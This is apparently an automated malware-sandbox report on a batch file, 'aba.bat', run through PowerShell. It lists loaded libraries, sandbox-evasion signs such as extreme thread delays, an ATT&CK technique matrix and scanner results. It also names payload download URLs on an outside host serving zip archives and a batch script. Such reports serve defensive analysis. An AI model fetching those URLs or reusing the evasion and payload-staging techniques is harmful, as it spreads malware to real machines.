Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5991	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4480	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4784	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5726	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3981	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6048	Thread sleep count: 4480 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5692	Thread sleep count: 4784 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2496	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6428	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6780	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7408	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5424	Thread sleep count: 5726 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1672	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8016	Thread sleep count: 3981 > 30	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: svchost.exe, 00000007.00000002.3366705610.00000274C762B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: svchost.exe, 00000007.00000002.3369943939.00000274CCC5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 00000005.00000002.2723456947.00000275EAE72000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: filesystem.py.15.dr	String found in binary or memory: http://bugs.python.org/issue22107
Source: filesystem.py.15.dr	String found in binary or memory: http://bugs.python.org/issue2528
Source: _pydecimal.py.15.dr	String found in binary or memory: http://bugs.python.org/issue6857.
Source: svchost.exe, 00000007.00000002.3370058687.00000274CCCA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: xml.etree.elementtree.html.15.dr	String found in binary or memory: http://example.org/"
Source: svchost.exe, 00000007.00000003.2162264740.00000274CC9E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: events.py.15.dr	String found in binary or memory: http://magic.io
Source: powershell.exe, 00000005.00000002.2719225677.00000275E2D00000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2719225677.00000275E2E36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000005.00000002.2677893788.00000275D2EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000005.00000002.2677893788.00000275D2C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: _pydecimal.py.15.dr	String found in binary or memory: http://speleotrove.com/decimal/
Source: _pydecimal.py.15.dr	String found in binary or memory: http://speleotrove.com/decimal/decarith.html
Source: powershell.exe, 00000005.00000002.2677893788.00000275D2EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022
Source: powershell.exe, 00000005.00000002.2677100203.00000275D0D50000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2677635696.00000275D27A0000.00000004.00000020.00020000.00000000.sdmp, aba.bat	String found in binary or memory: http://vptriathloninc.com:5022/CnrtB.zip
Source: powershell.exe, 00000005.00000002.2677482405.00000275D0F80000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2677482405.00000275D0F84000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2677635696.00000275D27A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.2723456947.00000275EAE3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/CnrtB.zipHOMEDRIVE=C:HOMEPATH=
Source: powershell.exe, 00000005.00000002.2722801757.00000275EAD90000.00000004.00000020.00020000.00000000.sdmp, aba.bat	String found in binary or memory: http://vptriathloninc.com:5022/ISENSYS.zip
Source: powershell.exe, 00000005.00000002.2723456947.00000275EAE3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/ISENSYS.zip$
Source: powershell.exe, 00000005.00000002.2677635696.00000275D27A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/ISENSYS.zip6
Source: powershell.exe, 00000005.00000002.2677482405.00000275D0F84000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/ISENSYS.zipU
Source: powershell.exe, 00000005.00000002.2677100203.00000275D0D50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/ISENSYS.zipf
Source: aba.bat	String found in binary or memory: http://vptriathloninc.com:5022/colormap.bat
Source: powershell.exe, 00000005.00000002.2723984216.00000275EAEB0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://vptriathloninc.com:5022/isensys.zip
Source: powershell.exe, 00000005.00000002.2677893788.00000275D2EA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000005.00000002.2677893788.00000275D2C81000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10049
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10076
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10379
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=10381
Source: 3.6.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=11734
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=11822
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=11913
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=1198569
Source: 3.6.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12006
Source: 3.6.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12319
Source: 3.6.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12345
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=12844
Source: 3.6.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13248
Source: 3.6.html.15.dr, 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=13802
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=14191
Source: 3.7.html.15.dr	String found in binary or memory: https://bugs.python.org/issue?@action=redirect&bpo=14976

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation	Jump to behavior

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 PowerShell	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner
C:\Users\user\Downloads\ymca\Python312\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_compression.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_pydatetime.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_pyio.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_pylong.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_strptime.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\ymca\Python312\Lib\aifc.py	0%	ReversingLabs
